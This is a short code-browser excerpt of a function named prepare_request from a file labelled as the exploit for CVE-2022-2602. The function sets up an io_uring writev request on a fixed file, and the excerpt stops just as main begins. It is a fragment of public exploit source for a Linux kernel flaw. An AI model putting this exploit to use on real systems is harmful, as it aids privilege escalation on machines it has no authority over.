Function prepare_request

CVE-2022-2602/exploit/exploit.c:110–119

prepare writev request

}
// prepare writev request
int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring) {
	struct io_uring_sqe *sqe;
	io_uring_queue_mmap(fd, params, ring);
	sqe = io_uring_get_sqe(ring);
	sqe->opcode = IORING_OP_WRITEV;
	sqe->fd = 1;
	sqe->addr = (long) iov;
	sqe->len = 1;
	sqe->flags = IOSQE_FIXED_FILE;
}

int main(int argc, char **argv) {
	pthread_t t;